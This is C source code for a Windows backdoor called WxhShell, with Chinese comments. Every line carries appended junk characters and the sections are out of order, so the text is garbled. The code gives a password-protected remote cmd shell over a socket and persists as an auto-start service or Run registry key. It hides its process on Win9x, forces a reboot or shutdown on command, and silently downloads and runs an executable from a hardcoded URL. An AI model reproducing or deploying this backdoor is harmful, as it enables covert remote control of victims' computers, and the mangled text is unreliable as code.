    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HR> X@g<c  
    else { eK]$8l|LI  
    closesocket(wsh); IUJRP  
    ExitThread(0); fsxZQ=-PW  
    } bR*/d-v^  
    break; 01-n_ $b  
    } nnm9pnx  
  // 关机 UJX=lh.o  
  case 'd': { :.k)!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oF(<}0Z  
    if(Boot(SHUTDOWN)) 1D pRm(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t'F_1P^*/  
    else { )&$Zt(  
    closesocket(wsh); " ~X;u8m  
    ExitThread(0); vMQvq9T}  
    } >10pk  
    break; .vbUv3NI  
    } 2\: z   
  // 获取shell PilV5Gg  
  case 's': { %N, P? ,U  
    CmdShell(wsh);  7z?r x  
    closesocket(wsh); I}@m6D|\  
    ExitThread(0); <f'2dT@6  
    break; xg>AW Q  
  } jP-=x(  
  // 退出 \>>^eZ  
  case 'x': { b[MdA|C%j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o5 fXe}pl@  
    CloseIt(wsh); ^6Std x_  
    break; *Y@)t* -a  
    } +-|D$@8S  
  // 离开 \40d?N#D  
  case 'q': { M]Y72K^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6}RRrYL7I  
    closesocket(wsh); ^uy2qO4Yw  
    WSACleanup(); qU1^ K  
    exit(1); &Vtgh3I  
    break; oo:(GfO}  
        } d/Z258  
  } ?xTh}Sky  
  } g7|$JevR0  
A/xWe  
  // 提示信息 77Fpb?0`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aC&ZV}8of  
} zP|y3`. 52  
  } <KFE.\*Z4  
*FwHZZ~U  
  return; LQnkpy3A  
} Ifc}=:nr  
G|p3NhLgO=  
// shell模块句柄 ~4Gs\U:!Q  
int CmdShell(SOCKET sock) MWHGB")J  
{ nA\9UD<G.  
STARTUPINFO si; 4l2xhx  
ZeroMemory(&si,sizeof(si)); es` A<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n tfwR#j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Vo\RtM/6{  
PROCESS_INFORMATION ProcessInfo; #0hX'8];(  
char cmdline[]="cmd"; nVTCbV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kJJUu  
  return 0; n>w/T"  
} WG{mg/\2(C  
]J t8]w  
// 自身启动模式 4<['%7U_[  
int StartFromService(void) + !I7(gL  
{ 6PS #Zydb  
typedef struct bHr2LhQCN  
{ cdDMV%V  
  DWORD ExitStatus; *hHy> (*  
  DWORD PebBaseAddress; V0gk8wD  
  DWORD AffinityMask; lD8&*5tDmP  
  DWORD BasePriority; sI u{_b  
  ULONG UniqueProcessId; ,6zH;fi  
  ULONG InheritedFromUniqueProcessId; r~sx] =/  
}   PROCESS_BASIC_INFORMATION; ERW>G {+  
2 NgEzY 5  
PROCNTQSIP NtQueryInformationProcess; ; )Vro  
4DVkycM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *aXZONym  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b[^=GF>e  
uhuwQS=X  
  HANDLE             hProcess;  0x}8}  
  PROCESS_BASIC_INFORMATION pbi; R;P>_ei(LK  
TU&t 1_6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3 <V{.T  
  if(NULL == hInst ) return 0; v5|X=B>&>  
oRM,_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *-timVlaE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nb:J"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }mjJglK!N  
E6SGK,f0D  
  if (!NtQueryInformationProcess) return 0; OQ$77]XtvL  
^@ GE1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -R,[/7zj  
  if(!hProcess) return 0; APT'2 -I_  
/3*75  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Jy'ge4]3  
GNXQD}L?b?  
  CloseHandle(hProcess); ?Uzs^rsb  
+igFIoHTM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q/,W'lQ\;  
if(hProcess==NULL) return 0; ex8mA6g  
fW Vd[zuD4  
HMODULE hMod; Yn,dM~|Cc  
char procName[255]; ,CguY/y  
unsigned long cbNeeded; m:<cLc :.  
x.r~e)x=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w$H=GF?"  
M:W9h+z  
  CloseHandle(hProcess); uXuMt a* Y  
93%U;0w[Nw  
if(strstr(procName,"services")) return 1; // 以服务启动 n 5NkjhP~Z  
6uQfe? aD  
  return 0; // 注册表启动 1Y410-.3w{  
} \%9,< -~[  
KIdlndGs  
// 主模块 VrhG=CK  
int StartWxhshell(LPSTR lpCmdLine) "4LYqDe  
{ ]*pALT6  
  SOCKET wsl; n{pS+u z  
BOOL val=TRUE; -IJt( X|  
  int port=0; 6OMywGI[Z  
  struct sockaddr_in door; xaWd \]UF  
\>w[#4`m  
  if(wscfg.ws_autoins) Install(); L<Q1acoZm  
e9h T  
port=atoi(lpCmdLine); .:c^G[CQ^9  
7|3Z+#|T  
if(port<=0) port=wscfg.ws_port; ):eX*  
*&>1A A  
  WSADATA data; St/Hv[H'[E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Oh<[8S7]C  
RNuOwZ1m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;Gxp'y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3a9Oj'd1M  
  door.sin_family = AF_INET; nH*U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vk+TWf  
  door.sin_port = htons(port); zT0rvz1),M  
+o)S.a+7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n.,\Z(l|0  
closesocket(wsl); Y_S^B)y  
return 1; ["GC   
} b&p*IyJR  
?s(%3_h  
  if(listen(wsl,2) == INVALID_SOCKET) { UNq!|  
closesocket(wsl); |UM':Ec  
return 1; 3*64)Ol7t]  
} 0R<@*  
  Wxhshell(wsl); G@h6>O  
  WSACleanup(); FJo N"X  
It!%/Y5  
return 0; =0`"T!1  
-O3^q.   
} r#rQ3&Vn  
o87. (  
// 以NT服务方式启动 o`\l&jUNe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^V v7u@y  
{ Afo(! v  
DWORD   status = 0; mkTf}[O  
  DWORD   specificError = 0xfffffff; yInW?3  
O9oVx4=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iSo+6gu   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n NZq`M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <WtX> \]l(  
  serviceStatus.dwWin32ExitCode     = 0; J`;G9'n2  
  serviceStatus.dwServiceSpecificExitCode = 0; m C_v!nL.  
  serviceStatus.dwCheckPoint       = 0; "P.7FD  
  serviceStatus.dwWaitHint       = 0; ,\4@Ao  
wqyx{W`~w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lQ!ukl)  
  if (hServiceStatusHandle==0) return; d4/snvq  
"m0>u,HmI  
status = GetLastError(); Yn[y9;I{  
  if (status!=NO_ERROR) 3\|e8(bc  
{ Pe!uk4}w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FVT_%"%C9  
    serviceStatus.dwCheckPoint       = 0; tx Lo =  
    serviceStatus.dwWaitHint       = 0; 8},!t\j#]  
    serviceStatus.dwWin32ExitCode     = status; 8b !&TP~m1  
    serviceStatus.dwServiceSpecificExitCode = specificError;  :D} xT]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8V`r*:\  
    return; _ mhP:O  
  } kM*f9x  
FgrOZI;_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9yajtR  
  serviceStatus.dwCheckPoint       = 0; $T tCVR  
  serviceStatus.dwWaitHint       = 0; @fRB0m"3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F=Z|Ji#  
} qxG @Zd  
YMj z , N  
// 处理NT服务事件,比如:启动、停止 ?%i|].<-'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,E$^i~OO  
{ zPWG^  
switch(fdwControl) *I(>[m!  
{ 2TmQaDu%b  
case SERVICE_CONTROL_STOP: jl{>>TW{x  
  serviceStatus.dwWin32ExitCode = 0; )i0\U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "639oB  
  serviceStatus.dwCheckPoint   = 0; c>:}~.~T  
  serviceStatus.dwWaitHint     = 0; tmDI2Z%7  
  { !3v!BJ#+,&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -@Mr!!t?N  
  } ce.'STm=  
  return; `XB(d@%  
case SERVICE_CONTROL_PAUSE: b4Zkj2L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L:IaJ?+?  
  break; m!er "0  
case SERVICE_CONTROL_CONTINUE: ~#h@.yW^JN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; MM3X! tq  
  break; E[/<AY^@!z  
case SERVICE_CONTROL_INTERROGATE: .wtb7U;7  
  break; ,u-i9`B  
}; )3=oS1p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <@.f#  
} ]QJLES  
K%[Rv#>;q|  
// 标准应用程序主函数 QY8I_VF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lfOF]Kiqr  
{ 1t+]r:{  
m4<8v  
// 获取操作系统版本 ELk$ lm&@  
OsIsNt=GetOsVer(); 282 m^ 2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~QJD.'z  
sl}bNzT#  
  // 从命令行安装 y-cRqIM  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4Smno%jq  
kpsus \T  
  // 下载执行文件 %0YwaxXPn7  
if(wscfg.ws_downexe) { #.$p7]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _ M8Q%  
  WinExec(wscfg.ws_filenam,SW_HIDE); l]%_D*<Y  
} 2P`hdg  
1 y$Bz?4  
if(!OsIsNt) { Vl5}m  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,DqI> vx|  
HideProc(); B'"C?d<7  
StartWxhshell(lpCmdLine); vRp =L54z  
} (=}U2GD*  
else uhSRl~tn  
  if(StartFromService()) tj;<Z.  
  // 以服务方式启动 }\|$8~  
  StartServiceCtrlDispatcher(DispatchTable); Ytmt+9  
else fKY6stJE  
  // 普通方式启动 <_=a1x  
  StartWxhshell(lpCmdLine); 3kx/Q#  
UBs'3M  
return 0; +e);lS"+/  
} F-k3'eyY  
%*>=L$A  
EpB2?XGA  
p 2It/O  
=========================================== " |[w.`  
\\AufAkJ  
hn{]Q@(I  
^s\(2lB\F  
5"%r,GMU  
I7ZY9W(S  
" A6v02WG_1T  
(zIP@ H  
#include <stdio.h> ;:,hdFap  
#include <string.h> k(+ EY%  
#include <windows.h> K??%Qh5l+C  
#include <winsock2.h> lCLz!k2di  
#include <winsvc.h> v!27q*;8H  
#include <urlmon.h> U']DB h  
8VQJUwf;  
#pragma comment (lib, "Ws2_32.lib") mRZC98$ @r  
#pragma comment (lib, "urlmon.lib") Y*/:IYr`  
3?iRf6;n  
#define MAX_USER   100 // 最大客户端连接数 E;.<'t>  
#define BUF_SOCK   200 // sock buffer lM`M70~  
#define KEY_BUFF   255 // 输入 buffer GGo)k1T|)  
qqA(Swe)T  
#define REBOOT     0   // 重启 c?A(C#~ z  
#define SHUTDOWN   1   // 关机 +dq&9N/  
28 [hp[<  
#define DEF_PORT   5000 // 监听端口 B38_1X7  
|=L~>G  
#define REG_LEN     16   // 注册表键长度 F$QN>wPpM  
#define SVC_LEN     80   // NT服务名长度 {G&*\5W  
~Mbo`:>(4v  
// 从dll定义API <aR9,:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); smvIU0:K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); teH.e!S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S+Z_Qf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (jd)sf6Tj[  
f1w&D ]|S+  
// wxhshell配置信息 CB_ww=  
struct WSCFG { c]LE9<G  
  int ws_port;         // 监听端口 :tU&d(8  
  char ws_passstr[REG_LEN]; // 口令 -9TNU7^  
  int ws_autoins;       // 安装标记, 1=yes 0=no \H|tc#::{  
  char ws_regname[REG_LEN]; // 注册表键名 d/5i4g[q  
  char ws_svcname[REG_LEN]; // 服务名 /.B7y(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0t[|3A~Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2z+Vt_%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kDI(Y=Fg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X3&-kU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {U@&hE -  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PDQC^2Z  
T n.Cj5  
}; ,{==f7|w  
v zgR3r  
// default Wxhshell configuration Afa| 6zZ>  
struct WSCFG wscfg={DEF_PORT, reseu*5  
    "xuhuanlingzhe", dz@L}b*  
    1, jo-jPYH T  
    "Wxhshell", #^%HJp^  
    "Wxhshell", h6J0b_3h4  
            "WxhShell Service", M"# >?6{  
    "Wrsky Windows CmdShell Service", x&}pM}ea  
    "Please Input Your Password: ", 8CCd6)cG  
  1, <%w)EQf4m  
  "http://www.wrsky.com/wxhshell.exe", qd$Y"~Mco  
  "Wxhshell.exe" [Q+8Ku  
    }; iR} 3 [  
SNqw 2f5  
// 消息定义模块 ;[@);-9q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q)0?aL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Xq:jp+WSG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &/QdG= r+  
char *msg_ws_ext="\n\rExit."; I~Y1DP)R  
char *msg_ws_end="\n\rQuit."; 7Nx5n<  
char *msg_ws_boot="\n\rReboot..."; u&{}hv&FY  
char *msg_ws_poff="\n\rShutdown..."; \AFoxi2h  
char *msg_ws_down="\n\rSave to "; s zBlyT  
S}L$-7Ct  
char *msg_ws_err="\n\rErr!"; r:pS[f|4\  
char *msg_ws_ok="\n\rOK!"; Mbbgsy3W  
`! ~~Wf'  
char ExeFile[MAX_PATH]; ;#-yyU  
int nUser = 0;  dxHKXw  
HANDLE handles[MAX_USER]; 3j<:g%5  
int OsIsNt; {l/j?1Dxq  
C1w~z4Qp  
SERVICE_STATUS       serviceStatus;  uP|Py.+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :yg:sU  
tFlLKziU  
// 函数声明 =AEl:SY+  
int Install(void); MzUNk`T @  
int Uninstall(void); !J#oN+AR  
int DownloadFile(char *sURL, SOCKET wsh); 7G6XK   
int Boot(int flag); .*N]SbU<8  
void HideProc(void); t!}QG"ma  
int GetOsVer(void); #?=?<"*j  
int Wxhshell(SOCKET wsl); yTt,/+I%gJ  
void TalkWithClient(void *cs); \l)Jb*t  
int CmdShell(SOCKET sock); EFpV  
int StartFromService(void); 2cv!85  
int StartWxhshell(LPSTR lpCmdLine); g-G;8x'n  
\3nu &8d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Kf=6l#J7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RNa59b  
(41BUX  
// 数据结构和表定义 bEO\oS  
SERVICE_TABLE_ENTRY DispatchTable[] = ]M^ k~Xa  
{ i/Zv@GF  
{wscfg.ws_svcname, NTServiceMain}, vbFi# |EU  
{NULL, NULL} yC%zX}5  
}; w=e_@^Fkx  
tc-pVw:TV  
// 自我安装 t<8vgdD  
int Install(void) Oz8"s4Y7  
{ Z8vMVo  
  char svExeFile[MAX_PATH]; </xz V<Pi  
  HKEY key; _FpZc ?=  
  strcpy(svExeFile,ExeFile); 8+}yf.`  
R#"LP7\  
// 如果是win9x系统,修改注册表设为自启动 <4lR  
if(!OsIsNt) { B=<>OYH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9, A(|g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =*paa  
  RegCloseKey(key); WY>r9+A?W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q,Oj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 18`YY\u(  
  RegCloseKey(key); ?E>(zV1D/  
  return 0; VkFvV><"  
    } _LVwjZX[  
  } >z{*>i,m1  
} h=?V)WSM  
else { rE->z  
Z<_"Tk;!',  
// 如果是NT以上系统,安装为系统服务 ,K/l;M5I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XK*55W &og  
if (schSCManager!=0) tW^oa  
{ =1|^) 4M,x  
  SC_HANDLE schService = CreateService <@F.qMl  
  ( Q:L^DZkGV  
  schSCManager, 9F~e^v]zp  
  wscfg.ws_svcname, 0iKSUw ps  
  wscfg.ws_svcdisp, "+0Yhr?  
  SERVICE_ALL_ACCESS, 2OA0rH"v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cWp5' e]A  
  SERVICE_AUTO_START, W;Pdbf"  
  SERVICE_ERROR_NORMAL, %|"0p3  
  svExeFile, E O.Se9ux  
  NULL, f`;y "ba  
  NULL, i}tBB~]  
  NULL, TTYM!+T  
  NULL, X mmb^2I  
  NULL ,(&p "O":  
  ); >Bw<THx  
  if (schService!=0) x]6-r`O7r  
  { kv!QO^;^Y  
  CloseServiceHandle(schService); ul@swp  
  CloseServiceHandle(schSCManager); 96(3ilAt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g36:OK"  
  strcat(svExeFile,wscfg.ws_svcname); cVV@MC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wo#,c(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v[7iWBqJ  
  RegCloseKey(key); s'7PHP)LOJ  
  return 0; xM+_rU M|h  
    } {/)q=  
  } ,H)v+lI  
  CloseServiceHandle(schSCManager); k^H&IS!  
} thU9s%,  
} =00c1v  
^y,Ex;6o  
return 1; Za110oF  
} ~M c'~:{O  
]NEr]sc-"F  
// 自我卸载 cD%_+@GaU  
int Uninstall(void) S|jE1v"L  
{ hR4\:s+[  
  HKEY key; W>E/LBpE4  
}O + a  
if(!OsIsNt) { 2iWS k6%R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 74wDf  
  RegDeleteValue(key,wscfg.ws_regname); cj64.C  
  RegCloseKey(key); **G5fS.^W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k#g` n3L  
  RegDeleteValue(key,wscfg.ws_regname); \PzJ66DL!  
  RegCloseKey(key); *HONA>u   
  return 0; UR|Au'iu  
  } {}n]\zO %  
} A3 uF 0A  
} cb3Q{.-.#  
else { ZLGglT'EW>  
R/WbcQ)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IDY2X+C#U  
if (schSCManager!=0) !,cL c}a  
{ QomihQnc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); : MEB] }  
  if (schService!=0) QM) ob  
  { #FhgKwx  
  if(DeleteService(schService)!=0) { mx!EuF$I  
  CloseServiceHandle(schService); 8}?w i[T  
  CloseServiceHandle(schSCManager); '% if< /  
  return 0; /prR;'ks  
  } w7%.EA{N  
  CloseServiceHandle(schService); 1RgERj  
  } {y%|Io`P  
  CloseServiceHandle(schSCManager); '>^!a!<G  
} !jTxMf  
} h}U>K4BJ  
 ?8/T#ox  
return 1; hh[@q*C  
} @kPe/j/[1  
fq[1|Q  
// 从指定url下载文件 . #FJM2Xk  
int DownloadFile(char *sURL, SOCKET wsh) Y2TXWl,Jk  
{ H[Q3M~_E  
  HRESULT hr; /8? u2 q  
char seps[]= "/"; h J H  
char *token; LTTMxiq[*  
char *file; iBt<EM]U/  
char myURL[MAX_PATH]; ]~@uStHn  
char myFILE[MAX_PATH]; 7PW7&]-WQ  
R xA:>yOPn  
strcpy(myURL,sURL); v&)G~cz  
  token=strtok(myURL,seps); 0t?g!  
  while(token!=NULL) @s|G18@  
  { A7I{Le  
    file=token; ;U&~tpd  
  token=strtok(NULL,seps); B; ^1W{%J  
  } vNQ|tmn  
.O&[9`"'  
GetCurrentDirectory(MAX_PATH,myFILE); moD)^':.  
strcat(myFILE, "\\"); 6W/uoH=;  
strcat(myFILE, file); ;w<r/dK   
  send(wsh,myFILE,strlen(myFILE),0); O9P4r*prA  
send(wsh,"...",3,0); }F';"ybrU)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9]^q!~u  
  if(hr==S_OK) emMk*l,  
return 0; lyzM?lK-  
else Vz]yJ:  
return 1; r`Bm" xI  
(-Qr.t_B`  
} Rr0]~2R  
O& 1z-  
// 系统电源模块 8wLGmv^  
int Boot(int flag) j 6dlAe  
{ wD92Ava   
  HANDLE hToken; r@c!M|m@  
  TOKEN_PRIVILEGES tkp; +TC##}Zmb  
Rjn%<R2nW  
  if(OsIsNt) { !q1XyQX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E^B3MyS^^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \HL66%b[  
    tkp.PrivilegeCount = 1; RN2z/F Uf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Fu>;hx]s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T[- %b9h>  
if(flag==REBOOT) { ;qs^+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (7C$'T-ZK  
  return 0; @GWlo\rM6^  
} TPA*z9n+B  
else { [M2xF<r6t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |F +n7  
  return 0; -HvJ&O.V$  
} o]B2^Yq;x  
  } 6Z5$cR_vC7  
  else { TMD*-wYr  
if(flag==REBOOT) { ao"Z%#Jb~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bQ-n<Lx  
  return 0; XPLm`Q|1#t  
} qu0 q LM  
else { i(4.7{*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y/>Nx7C0=2  
  return 0; BKK@_B"  
} mGo NT  
} I9h{fB  
5R6QZVc  
return 1; XO5E-Nh  
} [W99}bi$  
g,B@*2Uj  
// win9x进程隐藏模块 } x Kv N  
void HideProc(void) @QDUz>_y  
{ SC--jhDZ  
>#y1(\e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8l<~zIoO  
  if ( hKernel != NULL ) ;?Q0mXr  
  { f\z9?Z(~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F(`Q62o@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 65GC7 >[  
    FreeLibrary(hKernel); G+t zp&G@  
  } (!a\23  
jGYl*EBx  
return; ^97[(89G9  
} Ky*xAx:  
[$M l;K  
// 获取操作系统版本 dKmPKeJM  
int GetOsVer(void) Lr Kx  
{ RN$q,f[#  
  OSVERSIONINFO winfo; \==Mgy2J8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r;O?`~2'4  
  GetVersionEx(&winfo); M"foP@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Pr,C)uch  
  return 1; _MTvNs  
  else q)PSHr=Z  
  return 0; 2<*Yq 8  
} mhF@S@  
_)~|Z~  
// 客户端句柄模块 xR;z!Tg)  
int Wxhshell(SOCKET wsl) u1|v3/Q-  
{ qc3?Aplj  
  SOCKET wsh; W+.?J 60  
  struct sockaddr_in client; ^y~oXS(  
  DWORD myID; a?)g>e HN  
kdMB.~(K=  
  while(nUser<MAX_USER) {"0n^!  
{ dB Hki*.u  
  int nSize=sizeof(client); Is97>aid  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UJ`%uLR~  
  if(wsh==INVALID_SOCKET) return 1; sA }X)aP  
V/)3d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /x /W>J2  
if(handles[nUser]==0) hysxHOL  
  closesocket(wsh); 6wb M$|yFj  
else nTsPX Tat  
  nUser++; 3]>YBbXvE  
  } nZ`=Up p)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z.W1Za  
7KtgR=-Lb  
  return 0; !9^GkFR6n  
} +EZr@  
we?t/YB=  
// 关闭 socket ! &V,+}>)  
void CloseIt(SOCKET wsh) e XdH)|l,\  
{ r<*Y1;7H'  
closesocket(wsh); UHDcheeRD  
nUser--; +PO& z!F  
ExitThread(0); mHc2v==X\-  
} 7VJf~\%1j  
obw:@i#  
// 客户端请求句柄 U27ja|W^  
void TalkWithClient(void *cs) wDs#1`uTq  
{ ~'):1}KN]  
'v@1_HHW\  
  SOCKET wsh=(SOCKET)cs; l> >BeZ  
  char pwd[SVC_LEN]; 5a* Awv}  
  char cmd[KEY_BUFF]; .\)p3pC)  
char chr[1]; dTVM !=  
int i,j; jw]IpGTt  
,aa %{  
  while (nUser < MAX_USER) { E} ]SGU"  
qche7kg!a  
if(wscfg.ws_passstr) { tI2p-d9B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 73M;-qnU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EKT"pL-EY  
  //ZeroMemory(pwd,KEY_BUFF); b;I!Cy D  
      i=0; Bc#6mO-  
  while(i<SVC_LEN) { 98WJ"f_ #  
UKSI"/8I  
  // 设置超时 A3zNUad;  
  fd_set FdRead; tWdP5vfp  
  struct timeval TimeOut; %;G!gJeE  
  FD_ZERO(&FdRead); 2K'}Vm+  
  FD_SET(wsh,&FdRead); ^[zF IO  
  TimeOut.tv_sec=8; P q( )2B  
  TimeOut.tv_usec=0; S[uHPYhlA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m$$98N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n]btazM{  
Q1'D*F4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <lLk (fC  
  pwd=chr[0]; p|w;StLy  
  if(chr[0]==0xd || chr[0]==0xa) { +'I8COoiv%  
  pwd=0; . LNqU#a  
  break; D%.<} vG  
  } yM34GS=,J  
  i++; 1'* {Vm M  
    } Xgm9>/y  
Mq,_DQ  
  // 如果是非法用户,关闭 socket vGPaWYV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )5bdWJ>l  
}  ,#-^  
9a_(_g>S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9$'Edi=6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =j~}];I  
o r]s  
while(1) { on1mu't_;  
m;I;{+"u  
  ZeroMemory(cmd,KEY_BUFF); |&%l @X 6  
"i*Gi \U  
      // 自动支持客户端 telnet标准   k4 %> F  
  j=0; >:P3j<xTv  
  while(j<KEY_BUFF) { RwwX;I"o%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :Zd# }P  
  cmd[j]=chr[0]; wwmODw<tT  
  if(chr[0]==0xa || chr[0]==0xd) { DSHpM/7  
  cmd[j]=0; (.3L'+F  
  break;  ?hpk)Qu  
  } XC{(O:EG  
  j++; }c,}+{q  
    } iJE|u  
'C*NyHc  
  // 下载文件 -/&6}lD  
  if(strstr(cmd,"http://")) { VVje|T^{Z  
